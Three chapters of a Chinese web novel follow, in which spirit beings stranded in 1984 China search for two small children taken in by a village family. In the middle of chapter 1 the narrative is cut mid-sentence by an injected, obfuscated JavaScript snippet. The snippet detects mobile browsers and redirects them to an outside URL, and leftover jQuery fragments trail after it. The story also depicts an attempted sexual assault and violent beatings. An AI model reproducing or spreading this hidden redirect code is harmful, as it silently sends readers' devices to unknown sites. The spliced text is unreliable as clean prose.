《小掌门之八零年代生存记》 1. 1984年 “大志,大志。” “啥事啊,家声?”听到动静的马奶奶手里拿着蒲扇,从屋子里走出来。 李大志随后从旁边屋子里走出来,“啥事啊,叔?” “大志。”李家声笑着指指跟在他旁边的两个小孩,“你要儿子不?” “哪来的孩子?”马奶奶盯着两个白胖的孩子好奇道。 这两孩子都用红绳绑着朝天辫,白胖白胖地招人喜欢。 高个的孩子穿着一身红,红短袖,红短裤,再配个红辫子,十分喜庆。 小一点那个睁着一双乌溜溜的大眼睛看人,穿蓝色小短袖,黄颜色的小短裤,脚上是白白的小袜子和一双黑色皮凉鞋。 “路上捡的。”李家声笑道,“我问了,说是走丢了的。” “捡的不要给人送回去?”马奶奶问。 “送啥呀。”李家声说,“我早上下地时就瞧见他俩在地里转悠。等我干完活回来,他俩还在地里转悠。家在哪,怎么来的,什么都说不明白。” “我寻摸着,他们是不是被人拐来的。” “你看他们穿得这么好,不像是村里孩子。像是城里的孩子,还是有钱人家的孩子。”李大志的媳妇儿明东霞站在锅屋门口道。 “有没有饭吃?”坨坨问。 “对,俩孩子饿着肚子呢。”李家声说,“孩子我给领来了,你们看着咋办吧。” “我回家吃饭了。” 李家声扛着锄头离开了。 “外头晒,来屋里坐。”马奶奶招呼云善和坨坨。 坨坨牵着他跟着她去了堂屋,“有吃的垫肚子吗?” “饭在锅里,马上好。”明东霞说了一声,转身又回锅屋。 “不知道自己是哪里人?”马奶奶问坨坨。 坨坨摇了摇头。 “你俩是亲兄弟俩?”站在屋里的李爷爷问。 坨坨点头。 李大志家里养的大白狗走进屋,经过云善时,被他伸出小手摸了一把。 大白狗夹了下尾巴,快走两步转回头看着云善。 云善冲它笑一下。大白狗盯着云善看了几眼后,安分地走到墙边趴下。 “你俩咋来的我们村?”李大志问。 “不知道。”坨坨说。他是真的不知道。 今天早上,云善说画了个阵给他们看。他催动阵法,一闪之后,他们就出现在这里了。 还只有他和云善。花旗他们也不知道去哪了。 有过两次穿越经验,坨坨知道他们肯定又穿越了。因为这儿的人类身上穿的明显是现代衣服。 不知道他们现在又穿到哪里去了。问云善,云善根本说不清楚阵法的原理,只说是书上学来的。 这次穿越也是莫名其妙的,他竟然失去了法力,连乾坤袋都打不开。 坨坨带着云善转悠了一上午,云善说饿了。正好地里有人,坨坨便问他能不能带他们去吃饭,这人说是能,然后就把他和云善领到这儿来了。 “谁带你们到我们村的?”马奶奶问。 坨坨摇头,“我不知道。” “你家原先住在城里啊?”马奶奶又问。 “住在山里。”坨坨说。 马奶奶把他上上下下打量两遍,不信坨坨的话。这长相,这穿着,咋能是山里的孩子。山里应该比他们这地方穷。 云善想和狗玩,他晃晃被坨坨紧紧牵着的手,歪着小脑袋说,“我玩。” “去哪玩?”坨坨问他。 云善指指墙边趴着的狗。 “不能乱摸。”李爷爷说,“小心把你咬了。” 云善可半点不怕狗,他一点都没被吓到,咧着小嘴笑了一下,拉着坨坨一起去墙边。 “这俩孩子长得多好。”马奶奶第一眼瞧见坨坨和云善就喜欢上了。“要不就留下来?” 李大志家只有三个女儿没儿子,这事一直是马奶奶的心病。她担心李大志死后没人给他摔盆。 这两年她经常打听谁家有不要的小男孩,能让他们抱回来养。 “两个男孩多了。”李大志说。 坨坨一直竖着耳朵听他们说话。现在只有他带着云善,又没法力,又没武力,要谨慎些。 “要留就留小的,小的好养。”马奶奶说,“大的再找人家给送出去。” “这孩子岁数不大,不愁送。” 坨坨立马警觉起来,“我要和云善在一起!谁也不能把我们分开!” 他拉着云善立马往外走,“你们怎么这样!” 马奶奶赶紧起身拉住他,“走啥呀。饭还没吃。” 坨坨现在心里十分恐慌,失去法力的他成了普通的人类孩子。这些大人现在个个都比他厉害。他担心保护不了云善。 “我要和云善在一起!”坨坨大声说,“你们要是对我们不好,等花旗找来了肯定不会放过你们!” 云善点点头,“我跟坨坨一起。” 明东霞端了盘进屋,“啥一起?” “吃饭了。” “行行行,你俩一起。吃饭吧。”马奶奶放下扇子,走到桌边坐下。 云善和坨坨自觉地跑去桌边坐着。坨坨想好了,这些人要是让他和云善分开,吃完这顿他就带云善走,他捡瓶子养云善。 “花花、西西呐?”云善一到吃饭时就找人。 “他们有事。”坨坨哄道。 “什么事呐?”云善问。 坨坨说,“就有事呗,没告诉我。” “花旗是谁?”马奶奶也坐到桌边。 坨坨看着她说,“我家大人。花旗、西觉还有兜明,他们很厉害的。兜明一拳头能打穿墙!” 李爷爷夹了一筷子黄瓜说,“那是很厉害。”不过心里却没当真,小孩说的话不能信。 “你家里还有谁?”马奶奶又问。 坨坨说,“小丛。” “你家里几个男孩?”马奶奶问。 坨坨说,“全是男的。” 明东霞给坨坨和云善各盛了一小碗饭。云善跪在凳子上,拿着筷子自己夹了些青菜。他是真的饿了,就着青菜、豆腐快速扒饭。 外面风风火火地跑来一个八九岁、浓眉大眼的小孩,穿着件过大的蓝色短袖,一条军绿色裤子,“奶,我来吃饭。” “你妈又没让你吃饭?”明东霞站起来给他盛饭。 “她不是我妈。”李爱聪脖子一梗道。 “饭里都是豆子,我嚼不动。”李爱聪拉过一条凳子,坐下来看着坨坨和云善,“他们是谁?” 马奶奶心疼地看着李爱聪。 这个孙子也是命苦,生下来没多久妈就没了。他那二儿子后来又娶了个带着个小闺女的女人回来,那女人舍不得给她家这小孙子吃饭。家里有什么好东西,都吃那母女俩肚子里了。 “你们是谁啊?”李爱聪见大人们不回他,他就问坨坨和云善。 云善咽下嘴里的饭,嘴巴边还粘着米粒,“我是云善。” “我是坨坨。”坨坨道。 “你爸昨天放了饼干在我这。”马奶奶对李爱聪说,“等睡醒觉拿给你吃。” 李爱聪哦了一声埋头吃饭。 马奶奶边吃边唠叨,“你爸忙,一个星期才回来两天。他心里向着你,但他得在外头上班,顾不上你。你有啥事来找我和你爷,别怨你爸。” 这话李爱聪常听。他奶、他爷、他大伯、大妈、小叔、婶子都这样对他说。 “你爸昨天给我两块钱,叫我赶集的时候带你上街买东西吃。”马奶奶又道。 “两块钱?”李爱聪这次反应很大,他十分高兴道,“我要买汽水喝。” “买完肉再给你买汽水喝。”马奶奶说。 “没有肉啊?”云善肚子里有饭了,开始找好吃的。他跪在凳子上看了好一会儿,没在碟子里找到一块肉。 桌上有三个菜,炒青菜,青菜炖豆腐和凉拌黄瓜。 坨坨说,“你吃菜。” 没肉就没肉吧。云善天天吃肉,并不馋肉。坨坨说吃菜,他就继续吃菜。 “几岁了?”马奶奶看云善自己夹菜、自己吃饭,半点不让人操心,越看越觉得他乖,越看也就越喜欢。 “云善四岁。”坨坨说,“我五岁。” “你们兄弟俩就差一岁?”明东霞说,“这也太着急了。” 吃完饭,坨坨拉着云善往外走。 “去哪啊?”马奶奶问。 “去树下睡午觉。”坨坨回。 “别乱走啊。”等坨坨他们出去了,马奶奶对李爱聪说,“小聪,你去看着他们,别让他们乱走。” “留他们下来给你当弟弟。” “我不要。”李爱聪立马道,“我都吃不饱饭,要弟弟干啥?” 马奶奶啧了一声,“叫你去看着你就去看着。留他们给你二叔当儿子。” 李爱聪听了这话才跑出去。 “你们看这俩孩子怎么样?”马奶奶又问李大志和明东霞。 明东霞捡了碗摞到一起,低着头说,“我看这两孩子长得挺好。” 李大志没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273970|166656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话。让他养别人家的小孩,他心里变扭。他家老三都十四岁了,媳妇儿的肚子十来年没动静,他们夫妻也都四十多了。恐怕真的生不了儿子了。 李爷爷说,“先都留着吧。看看人家家里人找不找过来。” “要是找过来,就让孩子回家。要是不找过来,孩子就留在咱们家吧。” “我看八成是不会找来了。”马奶奶轻轻晃着蒲扇,“我听他们的意思,他家里男孩太多了。” “不然好好的,把孩子扔地里干什么?” “先留在家里。”李大志终于开口。他心里酸得不行。有人家光生儿子了,他家却全是女儿。怎么就不能匀一匀? 李爱聪追着坨坨和云善到了河边树下。 “你们是哪个村的?”李爱聪问。 “你知道东望村吗?”坨坨问。 李爱聪摇摇头。 “云灵山呢?”坨坨又问。 李爱聪继续摇头。答案和之前的李家声一样。 “这儿附近有山吗?”坨坨问。 “在很远的地方有。”李爱聪说,“我爸是支电站的,经常去山边打石头。” “你们这有什么山?大吗?”坨坨又问。 “不大。我爸说是很小的山。”李爱聪说,“我没见过。” 云善自己绕着一棵树跑了几圈,拍了拍粗壮的树干,问坨坨,“在这睡觉啊?” 坨坨用脚拨开地上的土疙瘩和小石子,“这儿凉快。” 头顶的大树枝繁叶茂,完全遮住了阳光。树上的蝉儿时不时地叫一两声,也只是短促地“吱吱”声,并不热情。 旁边的河面波光粼粼,很是漂亮。云善捡了小石头砸进水里,听到“噗通”一声响后,水面一圈一圈地荡开涟漪。 云善觉得有意思,又捡了石头往河里丢,然后看河面上的涟漪。 “你爸不要你了?”李爱聪问坨坨。 “瞎说啥。”坨坨心说,他都没爸呢。 “那你怎么到这儿来了?”李爱聪说,“我听人家说,丢小孩就是把小孩远远地丢掉,让他找不到家。” “我们又不是被丢的。”坨坨说,“我们和大人走丢了。” “在哪走丢的?”李爱聪立马说,“我帮你找。” 坨坨指着西边的方向,“在那一块走丢的。我都找了一上午了,没找到他们。” “下午接着找。” “我知道那边有村子。”李爱聪说,“我姐就嫁在那边的村子里。下午我带你去找。” “谢谢你。”坨坨扬起笑脸,问李爱聪打听,“你叔叔人好不好?” “好啊。”李爱聪说,“我后妈说我叔窝囊。” 坨坨觉得李爱聪有点不聪明,“窝囊是啥好词吗?” 李爱聪说,“我爸说我叔窝囊,但是人不坏。” 云善玩累了,躺在坨坨旁边睡觉。李爱聪凑在云善旁边,也跟着一起躺下睡觉。 坨坨抓着云善的小胳膊,仰头看向上方的树枝,十分迷茫。 花旗他们到底去了哪里?怎么还不找不过来? 坨坨难得有心事,想了好长时间才睡着。他睡醒后,发现云善不在身边,心里蹿出一股寒意,爬起来焦急地大声喊,“云善,云善?” “欸。”树后面传来应声,云善慢慢地露出半个脑袋,“我拉屎。” 坨坨跑过去,发现云善正蹲在树后面上厕所。他还给自己挖了个上厕所的坑。 李爱聪被坨坨吵醒,迷蒙着坐起来,“怎么了?” “没事。”坨坨去一旁摘树叶,给云善擦屁股。 河边长了一些棉槐条子,云善卡着下面把棉槐条子掰折。但棉槐条子韧性大,掰折了也没断。 坨坨在河边洗手,云善抓着棉槐条子一圈一圈地转。这法子是小丛教给他的。如果弄不开就一圈圈地拧着转,多转几圈树枝就会断。 “走吧。咱们去王家村。”李爱聪招呼道。 他带着坨坨和云善沿着小河一路往西走。 这一路上都有大树,全是树荫,走在下面一点都不热。 云善时不时地就用棉槐条子敲敲地,打打树。还在路边土里捡到了小小的,白色的螺蛳壳。 一路上,坨坨都在问李爱聪打听关于这个世界的事情。知道了现在是1984年5月底。 1984年?那是小飞哥所在的时间往前倒数四十年。这会儿小飞哥都还没出生呢。 而关于这个年代,坨坨只在电视上看过一点点的片段,并没有给他留下什么印象。 2. 其他妖怪们 “1984年5月30日。” 小丛从路人口中问到了今天的日期。 “1984年开放了14个沿海港口城市。”这是小丛对于1984年最深刻的印象,是他在初中历史课本中学到的知识。 西觉皱着眉头,心里十分焦躁。他不关心现在是哪一年,也不关心开放是什么,他只想找到云善。“我根本闻不到云善的气味。”这意味着,云善离他很远。 “或许......”小丛说,“他们不在这里。” 在这不断响起自行车叮铃铃声的街道上,他不仅闻不见云善的气味,花旗、兜明和坨坨的气味他也闻不见。 西觉心里更是急躁。很少情绪外露的他粗声粗气道,“我们该去哪里找云善?” 现在他们失去了法力,又不在云善身边,这让西觉心里非常不安。他最怕的就是云善和大家走散。如果只有他一个人,那他一个人类幼崽该怎么生活?怎么吃饭?会不会被其他人类欺负? 小丛心里也是很急。他们已经找了一上午,根本没发现其他妖怪的踪迹。其他妖怪会被传送到哪呢? 云善从哪本书上学来的阵法?他那一点点的法力到底是怎么启动穿越阵法的?就算穿越过来,他也不应该和西觉在一起。他当时明明离兜明是最近的。 “云善要是一个人……”西觉并没有说下去。 小丛捡了一根树枝,蹲在路边树下划拉,在泥土上画出简易阵法。他盯着地面上的传送阵看了好一会儿道,“传送阵是两两传送。” 小丛把印象中他们六个的站位画在传送阵上,“不是根据两人之间的距离传送。” 西觉蹲下,看着画在泥土上的传送阵问,“云善会和谁在一起?”只要不是他自己在一起,他就放心了些。 小丛推测道,“他应该和兜明或者坨坨在一起。” “这个阵法有些古怪,样本太少,我不能准确推测。” “兜明?”西觉刚刚放松些的眉头又夹得很紧,“兜明照顾不好云善。” 兜明在他们几个里最是粗心毛躁。让他带着云善玩可以,让他自己单独照顾云善,西觉非常不放心。 小丛安慰西觉道,“兜明肯定不会让云善挨饿。”至于其他的,他也很担心。“兜明力气大,一定能保护好云善。” 让兜明自己照顾云善,那会照顾成什么样?去年秋天天冷的时候,兜明还带云善去水潭里洗澡。这么一想,小丛心里又止不住担忧起来。 云善最好还是和坨坨在一起吧。起码坨坨会做饭,不会在天冷时带着云善去水潭里洗澡。 “现在怎么办?怎么找云善?”西觉问小丛。他对这个年代一点都不了解。 “这个时候应该没有手机和网络,最好的找人办法应该是登报或者上电视登寻人启事。”小丛仔细地分析。 他在心底否决掉了报警这个方法。穿越过来的他们是黑户,万一因为身份问题被警察抓了关起来,他们没有法力没办法逃出来,那就更没办法找云善了。 西觉站起来说,“我们上电视。坨坨和兜明他们俩应该不看报纸。” 小丛点点头。兜明和坨坨确实不是会看报纸的妖怪。如果有电视的话,他们应该会看。 两人决定好找人的方法后,便在路边找人问怎么上电视发寻人启事。 “上电视?”拎着菜篮子、穿着蓝色工装的大妈说,“我不知道。你们去电视台问问。” “你们找什么人啊?” “找我弟弟和哥哥。”小丛说,“叫兜明和云善。” “都多大年纪?” “一个四岁,一个十二岁。”小丛说。 “我帮你留意着。”热情的大妈问,“要是找到了,去哪找你们?” 去哪找他们?这个问题让小丛一愣。 “总得有个地方找着你们吧。别找着你哥,你弟,到时候又找不到你。”大妈道。她看向西觉说,“要不你把家里地址写下来。” 西觉沉默。他们在这地方没有家。 “咋回事?”大妈皱起眉头,“你们这样哪能找到人。” “你们是唱戏的啊?穿的哪个年代衣服?” 小丛摇摇头。 大妈见他们有些迷茫的样子,道,“你们可想好了再去登寻人启事。别白花钱。” 西觉看到路边有个大店面,上面写着几个大字——白城友谊商店。“就这个地方吧。我们隔几天来一回。” 小丛点点头,两人继续在路边打听报纸和电视的事。 他们打听了一下午,心里有了些数。在现在,上电视并不容易,还要审核。而他们是最经不起审核的。西觉和小丛否决了上电视这条路。 报纸还分为全国性和地方性的,登报的价钱都不一样。有人说登报纸也要审核,有的人说不太需要,只要把信息和钱寄过去就行。还有人给他们建议,让他们贴寻人启事。 他们打算先试试报纸,也试试贴字寻人。 旁边路边有个门口挂着红木板,写着“商店”的店面。西觉和小丛走进去询问笔墨的价格。一支毛笔3毛,一瓶墨水4毛5,一本信纸要3毛。 “这么便宜。”小丛小声感慨,东西只要几毛呀。 店家趴在玻璃柜台上问他们,“买吗?” 小丛摇摇头。 西觉和小丛都明白,他们现在要做的事是挣钱。有钱才能买笔墨写寻人启事,才能登报纸。 说到挣钱,西觉第一反应就是去卖力气,这是没有成本,又能快速拿到钱的方法。他们之前就是靠扛包挣到了批发水果的钱。 明确目标之后,西觉和小丛开始打听能去哪里找扛包的工作。 在千里之外的另一座城里,花旗脸色阴沉地站在墙边阴影下,眼神中带着急躁。 后面的水泥墙上写着八个大字,“优生优育,造福后代。” 兜明站在一旁小心地看着花旗脸色。 今天他们又穿越了。问题是,他们分开了,云善不知道去了哪里。 他和花旗像无头苍蝇似的一通乱找。在一处竹林里,花旗找了一条蛇,让它帮忙四处寻找云善。虽然他们没了法力,还好花旗能和蛇沟通,能找蛇帮忙。 可他们没找到云善。兜明明显感觉到花旗下午变得更加急躁,和他说话总是带着一股气,冲得很。 他现在不想和花旗呆在一起,他想自己去找云善他们。 “我一点都感受不到云善的味道。”花旗声音里带着显而易见的烦躁。 “我也闻不到。”兜明小声说。 花旗深呼吸了一口气,眯着眼睛四下望了一番,前方是一大片的芦苇地,“继续去找。” “云善——” “云善——” 兜明边走,边大声呼喊。 花旗大声叫,“云善——” 初夏的风里带着暖意,风荡过芦苇地,发出“沙沙沙”的声响。 兜明在风里闻到了兔子的味道。他动了动鼻子,除了兔子的味道,还有人类的味道。耳边传来模糊的喊声,“救命啊——救命啊——” “有人喊救命。”兜明说了一声,闻着味道蹿进了芦苇地里。花旗紧接着追了进去。 “在这儿,你喊破喉咙也不会有人来救你。”男人一路把霍言往芦苇地深处拖。“你叫救命也没用。这根本就没人来。” “你放手!放手!”霍言一直挣扎,可力气没男人大,只能被迫被男人拽着走。“你这是流氓,犯罪!要枪毙的!” 男人将霍言一把甩到地上,哼笑一声,“有胆子你就去告。让别人都知道你是个破鞋!” 霍言爬起身就跑,被男人扯着一条腿拽倒。她绝望地拼命呼喊,“救命,救命啊——” 男人拽着霍言的衣服,毫不客气地一巴掌扇在她脸上,猥琐道,“一会儿有你叫的时候。” 这一巴掌把霍言扇得眼冒金星,半边脸一下子没了知觉。 男人又是一拳头捶在她肚子上,疼得霍言蜷缩起身体,没了反抗的力气。 身体上的疼痛更加剧了霍言心里的恐惧和绝望。她大口大口地喘着气,嘴里断断续续地骂道,“流氓……枪毙你。” “枪毙我?反正有你给我垫背。”男人毫不在意道。 下一刻,他突然飞了出去,砸在了芦苇地里,压倒了一片芦苇。 霍言像是看到救世主一样看着突然冒出来的少年,伸出一只手喊,“救我……救我……” 兜明拽着她的手将她拉了起来。霍言一手捂着肚子,一手紧紧抓着兜明的胳膊。“快走。”这只是个少年,肯定打不过已经成年的男人。 男人捂着后腰,艰难地从地上爬起,他愤恨地看向兜明,捶了两下腰,恶狠狠道,“今天你们一个也走不了。” 前面的芦苇丛里有沙沙的声响,花旗面色阴郁地走出来。 男人看到有成年男人在,二话不说,转身就往芦苇丛里钻。一个成年男人再加一个壮实的小孩,他肯定不是对手。男人瞬间就做出了判断。 花旗迈开大步追过去,抓住男人的衣服,将他甩到后面,随后弯下腰,一拳头捶在男人腹部,一句话没说,又在男人侧腰踢了一脚。 “别把人打死了。”兜明赶紧出声提醒。花旗现在心情不好,看起来下手比平时重。一般他们打人类只打一下。打多了,人类会撑不住。 花旗重重喘了一声,压抑住暴躁的情绪停下手。 男人抱着肚子似虾米似的弓着身,痛苦地呻吟。 霍言看了十分痛快。“我们把他抓去警察局。这是流氓!杀人犯!” 兜明走过去单手拽起男人后衣领。 霍言肚子实在很疼,没了兜明支撑,她有些站不住,便走了几步要扶花旗。 花旗直撩起眼皮,面无表情地看着霍言,冷声问,“干什么?” “我......肚子疼。”霍言被他的冷脸吓了一跳,“我想扶你一下。” “扶我,扶我。”兜明赶紧走过来,他担心花旗发脾气。他左手拖着男人,右手扶着霍言。 男人被一路拖着抱着肚子呻吟。听得兜明十分担心花旗下手太重,把人打出什么毛病。 他斟酌了好一会儿,才小心地开口,“山的规矩,不能杀人。” 花旗没什么反应,继续往前走。 霍言听说什么不能杀人,又想着这两人一人出一招就把犯罪分子制服,还以为是什么高人。她问兜明,“你们还有门派呢?” “我们是云灵观的。”兜明老实地说。 出了芦苇地,霍言指着前面不远的地方说,“我车在那。” 兜明扶着霍言坐下,跑去前面把摔倒的自行车扛了过来。 然后他又脱下男人身上的衬衫,反绑住男人的手。 “你现在能不能骑车?” 霍言摇摇头,“我肚子疼得厉害,骑不了车。同志,你们把我送回家吧。” 兜明犹豫地看向花旗。他们现在要找云善。 霍言又说,“我家离这不远,就在城郊。” 花旗冷着脸点点头。 兜明看了看霍言,又看了看男人,对花旗说,“你把这人带着。” 花旗瞟了一眼,沉声开口,“把他绑在 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霍言看向这两人身上都穿着蓝色衣服,不像现代的,像是古代的,好奇地问,“你们......山里解放了吗?” 这话兜明就听不懂了,“什么解放?” “你们那还有人压迫你们吗?”霍言问。 “没有。”兜明说。 “你们怎么会来这里?”霍言又问。 兜明按照之前他和花旗想好的说辞道,“我们出来打工。走错路了,胡乱走就走到这里了。” “你看到过一个扎着朝天辫,穿着蓝色短袖的小孩吗?”一直沉默的花旗突然开口。 霍言有些受宠若惊地回道,“没看到。” “你们......要找人吗?” “嗯。”兜明说,“我们要找四个人。他们和我们走散了。” “只要他们在风城,就一定能找到。这事包在我身上。”霍言立马打起了包票。 “你能找到人?”花旗这才转头看向这个女性人类。她扎了两个麻花辫,上身穿了件花衬衫,下面穿了条黑裤子,看起来很年轻。 “我哥的朋友多。”霍言说,“你们救了我。我哥肯定会帮你们找人。” 兜明高兴地说,“太好了!” 花旗心情终于好了一点,不再阴着脸。 在霍言的指路下,他们走到了城郊的一处红砖院子门口。 霍言跳下车,肚子被扯得疼了一下,她哎哟了一声,捂着肚子,弯着腰,扯着嗓子跑进院子里,“哥!哥!霍然!霍然!” “叫魂啊。”屋门口半短的蓝色布帘被掀开,一个短头发小眼睛,光着上半身,嘴里斜叼着烟的青年握着一手牌不耐烦地走出来。 看到院子门口站着三个人,还有个推着霍言自行车的小孩。比较奇怪的是,有个男人手绑着,嘴里塞着布,像是被绑架了。其他两个穿得衣服也很奇怪。 霍然打量完门口的人才把目光转向霍言,下巴冲着门口一抬,“谁啊?” 霍言捂着肚子坐在地上,突然大声哭出来。把抓着牌的霍然吓了一大跳,他快速眨了两下眼睛,慌张地问,“霍言你怎么了?” “我差点让人□□了!”霍言指着院子门的男人大哭,“他还说要杀了我!打我肚子!” 霍言在见到亲人后心才完全放下来。她大声哭喊释放着自己的恐惧。 “妈的!”霍然把手里的牌往地上一砸,大踏步走过去,一把拽住男人的衣服,一拳头就砸了上去。 兜明松开扶着自行车的手,和花旗站到一边。 屋里又冲出来几个男人,和霍然一起对着犯罪分子拳打脚踢。霍言还坐在院子里大哭。 “别打了。容易打死。”花旗看不下去了。他之前打的两下算挺重的。他怕这些人把人打死了。 刚走到霍言身边,准备把孙女扶起来的霍言奶奶听到这话,小跑过去,大声喊,“别打了!别打了!把人打死怎么办?” 兜明见这些人根本不停,只好和花旗一起动手,把人分开。 再看那个犯罪分子,闭着眼睛躺在地上,好像死了似的。霍言奶奶被吓了一跳,蹲下来试了试这人鼻息,还好,还喘气。 霍然红着眼骂道,“妈的,这畜生就该打死!” “就是!”一旁霍然的几个兄弟都说,“畜生打死就打死!” 霍言奶奶在他胳膊上拍了一下。“你去看看小言。” 霍然爷爷已经拉起了霍言,担忧地问,“咋回事啊?” “我看完同学回来,这王八蛋等在路边,突然拽我后车座,把我拽倒了。” “后来又把我拖去芦苇地里,还好我遇见兜明和花旗了。他俩救了我。”霍言快速讲完事情,擦掉了眼泪。哭了一通,她现在好多了。 霍然听完了这些,又冲着躺在地上的男人啐了一口,“畜生!”他控制住脾气,对花旗和兜明感谢了一番。 花旗问,“你能找人?” “哥,他们是从山里来的。”霍言说,“他们和伙伴走丢了。你帮人家找找人。” “只要在风城,肯定能帮你们找到。”霍然说。他向花旗和兜明打听丢的人长什么样,转头对后面一个年轻的男人道,“你去和兄弟们说说,让大家找找。” 年轻男人应了一声,出了院子。 “走,咱们去派出所。”霍然叫上几个兄弟,架着被打晕的犯罪分子,一群人浩浩荡荡地往派出所去。 3. 留在大志家 李爱聪在王家村的姐姐叫李爱慧,是和他一个妈的亲姐。 李爱慧家还是土房子,瞧着比李大志家的砖房差了不是一点半点。 “大姐。”李爱聪带着坨坨和云善熟门熟路地跑进屋。 土房子里除了桌椅、床、四处摆放了一些工具外,其他什么家具也没有。和李大志家比起来,李爱慧家的条件要差许多。 李爱慧正在收拾东西,看到弟弟来了。她高兴地问,“自个儿来的?” “我带坨坨和云善来找人。” “找谁?”李爱慧看向坨坨和云善,瞧着这两小孩都胖乎乎的,长得也好看。 “找我家里人。”坨坨说,“有四个人,两个大人,两个小孩,都是男的。” “他们来过吗?” “我不知道。”李爱慧看着坨坨和云善问,“和大人走丢了?” 坨坨点点头。李爱慧把叠好的衣服收拾进柜子里,“走,领你们问问去。” 他们在王家村打听了一圈,大家都说今天没见到外人。 李爱聪对坨坨说,“他们可能就是故意丢掉你们的。丢完就走了。” 坨坨推了他一下,“你不要瞎说。” 李爱慧在李爱聪肩膀上轻拍一下,“瞎说什么?好好的,人家把孩子丢了干啥?” “你别张着嘴胡咧咧。” “我奶说,他们要给小叔当儿子。”李爱聪道。 李爱慧惊讶地看向坨坨和云善,转过头又问李爱聪,“奶咋说的。你说给我听听。” “奶就说他们要给小叔当儿子。”李爱聪说。 “我们不。”坨坨说,“我不给你小叔当儿子。” “花旗他们肯定会来找我们。” 一旁的云善听到花旗的名字,喊了一句,“花花。” “这什么乱七八糟的?”李爱慧没听懂,她问坨坨,“谁把你俩送来的?” 坨坨想了想后回,“我们自己来的。” “和家里走丢了。” “走丢了?”李爱慧问,“你是哪里人?还记得家在哪?” “我们住在云灵山。”坨坨说。 李爱慧摇摇头,“没听说过。咱们这片没有叫这个名的山。你们走多远走来的?” 坨坨摇摇头,表示不知道。 李爱慧盘算明白了。这两小孩和大人走丢了。估计她奶想让小叔收养这两孩子当儿子。 “报没报警?”李爱慧问李爱聪。 “我不知道。”李爱聪说,“奶没和我讲。” “还没报警。”坨坨说。 李爱慧没再说话。她估摸着她奶奶不会报警。她奶本来就存了收养这两个孩子的心思。 说起报警的事,坨坨也想过。花旗他们没有身份证,也没地址,报警也没用。 李爱慧领着李爱聪、坨坨和云善在屋后的小菜园摘黄瓜、西红柿吃。 云善一手搂着一颗大西红柿跟在大家后面,“有篮子啊?” “摘这么点东西不用篮子。”前头的李爱慧说。 李爱聪摘下黄瓜,上下撸了撸,把黄瓜上的白疙瘩撸掉后直接开吃。 坨坨也学着李爱聪的样子,摘了根黄瓜吃。 云善在后面用脑袋顶坨坨,“坨坨。” 坨坨咬着黄瓜转头看他,云善动动右边胳膊,“这个西红柿不要了。” “吃黄瓜。” 坨坨接过西红柿,顺手把黄瓜塞给云善。云善还不要,非要跑到前面自己摘。 他没手撸黄瓜上的白点,拿着黄瓜在自己衣服上蹭了蹭,高高兴兴地咬了一口。 “晚上炒豆角吃?”李爱慧回身问李爱聪。 “行。”李爱聪点点头。 “再给你们拌个西红柿。”李爱慧自顾自地说。 摘完东西,李爱慧领着他们三个回去。她婆婆正好走过来,看到李爱聪后,笑着说,“小聪又来了。” 李爱慧不咸不淡地应了一声。 “这两个是哪家孩子?”她婆婆走过来问。 “亲戚家的孩子。”李爱慧道。的 “什么亲戚啊?”她婆婆又问。 李爱慧胡编道,“远房亲戚。” 太阳还没往下落,李爱慧已经开始摘菜了。云善会摘豆角,自己抓了一把站在旁边摘。 李爱慧瞧他有意思,“你在家还干活啊?” “嗯。”云善认真地点点小脑袋。 “真乖。”李爱慧笑笑。 她婆婆捡了个小板凳坐在屋檐下,“咋这么早做饭呢?” “早点做饭,等小聪他们吃完,我给他们送回去。”李爱慧说。她心里知道婆婆不满意小聪来她家吃饭。 可她就这么一个弟弟,还经常被后娘苛待,她怎么能不管这个弟弟?哪怕就是只叫他吃饱几顿饭。 她婆婆装模作样地说,“现在做饭谁吃得下啊?” 李爱慧没吱声,收拾好了菜后,端进泥盖的锅屋里做饭。锅屋里只有一扇小玻璃窗,里面有些暗。 云善跟进去烧火,坨坨站在灶台旁边看着他。 “你俩这么能干,还会烧火呢。”李爱慧心想,要是这俩孩子给他小叔当儿子也挺好。又乖又能干。 菜做得很简单,炒豆角、咸辣土豆丝还有凉拌西红柿。吃的玉米渣子稀饭,热了早上吃剩下的大饼。 李爱慧在水缸上盖了块木板,把菜放在木板上。李爱聪带着坨坨他们端了凳子来。 李爱慧婆婆仍旧坐在屋檐下。李爱聪喊一声,“姨,吃饭了。” 李爱慧婆婆摆摆手,笑着说,“你们吃吧。我等会儿再吃。” 坨坨撕开大饼,夹了些土豆丝到饼里,包好了递给云善。云善抓了一片西红柿先塞进嘴里,吃完了后告诉坨坨,“甜的。” “放了糖凉拌的。”坨坨说。 云善吃完了饼,又喝完了一碗玉米渣子稀饭就吃饱了。 现在时间早,他还不太想吃饭。就一片一片地抓碟子里面的西红柿吃。 李爱聪喝完稀饭,端起凉拌西红柿的碟子,把被糖腌出来的西红柿汁倒进碗里。 云善歪着身子探头看了一眼,李爱聪碗里是红红的汁水。 李爱聪喝了一口,十分满足,“好喝。” “我喝一口。”云善说。 李爱聪喂了他一口,云善晃晃腿,咧着小嘴笑,“好喝。” 坨坨把碟子里剩下的西红柿汁倒进了云善碗里,也只有两口了。 吃完饭,李爱慧稍微收拾了下,对坐在屋檐下她婆婆说,“妈,饭菜在这了。凉了你给热热。我送小聪回去。” “今天回李家村睡,明早回来。” “行。”她婆婆应下一声。 “走吧。”李爱慧对坨坨他们说。 刚走出王家村村口,李爱聪对着远处骑了辆自行车过来的人喊,“大哥。” 李爱慧眯着眼睛往前瞧,迎面骑车过来的还真是她大堂哥李爱诚。 坨坨看到前面来的是个二十多岁的青年,穿着和李爱聪一样的绿色裤子,上半身是蓝白条纹短袖。个子很高,人长得白,也是浓眉大眼的样子,长相很周正。 李爱诚勒下车把,一只脚支在地上,笑得十分爽朗,“我就猜小聪来找你了。” “奶说小聪一下午不见人,叫我们出来找找。” 